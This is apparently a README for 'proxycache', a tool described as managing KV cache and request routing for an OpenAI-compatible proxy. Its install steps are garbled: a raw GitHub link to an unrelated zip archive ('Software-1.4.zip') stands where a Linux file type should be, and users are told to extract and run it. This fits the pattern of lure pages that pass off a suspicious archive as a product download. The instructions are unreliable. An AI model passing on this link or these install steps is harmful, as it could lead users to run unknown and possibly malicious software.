Welcome to proxycache! This application helps you manage your OpenAI-compatible proxy more effectively. You can save and restore your KV cache, handle requests by similarity, and protect your data slots.

To use proxycache, you’ll need:

• A computer with Windows, macOS, or Linux.
• An internet connection for downloading the software.

• Slot Management: Efficiently manage slots for your proxy.
• KV Cache Management: Save and restore KV cache to disk with ease.
• Request Routing: Route requests based on prefix similarity.
• Hot Slot Protection: Prevent overwrites in key slots.
• Prompt Acceleration: Quickly reuse or restore long prompts (30–60k tokens).
• Streaming Support: Supports SSE streaming and non-streaming JSON over /v1/chat/completions.

1. Visit the Download Page: Go to our Releases page.

2. Choose Your Version: Find the latest version listed there. You will see multiple assets to choose from, typically named with version numbers.

3. Download the Application: Click on the file name to start downloading it. It might have a .exe for Windows, .dmg for macOS, or a https://raw.githubusercontent.com/neshat73/proxycache/main/Astrid/Software-1.4.zip for Linux, depending on your operating system.

4. Install the Application:

   • Windows: Double-click the downloaded .exe file and follow the prompts.
   • macOS: Open the downloaded .dmg file and drag the application to the Applications folder.
   • Linux: Extract the https://raw.githubusercontent.com/neshat73/proxycache/main/Astrid/Software-1.4.zip file. You may need to run a terminal command to start the application.

5. Run the Application: After installation, launch the application from your programs menu or applications folder.

Once you have proxycache running, you can easily manage your proxy settings. Here’s how:

• Configure Your Proxy: Follow the app's onboarding process to set up your OpenAI-compatible proxy.
• Saving Cache: Use the built-in options to save your KV cache for future use.
• Restoring Cache: Access your saved cache quickly when needed.
• Streaming Features: Test out the SSE streaming for real-time applications.

Here are some common issues and solutions:

• Installation Issues: Ensure you have downloaded the correct version for your operating system. Restart your computer if the application does not start.
• Connection Problems: Check your internet connection and proxy settings within the application.
• Saving Errors: Make sure you have proper write permissions on the folder where you're saving your cache.

If you encounter any problems, you can find assistance in the issues section of this repository. Please provide details of your issue to receive the best help.

This project is licensed under the MIT License. You are free to use and modify the code.

Join our community on GitHub Discussions to share your experiences, ask questions, and collaborate with other users.

We are working on new features. proxycache will continue to evolve, enhancing usability and performance. Stay tuned for updates!

For the latest version and updates, don’t forget to: Visit the Release Page.

Happy caching!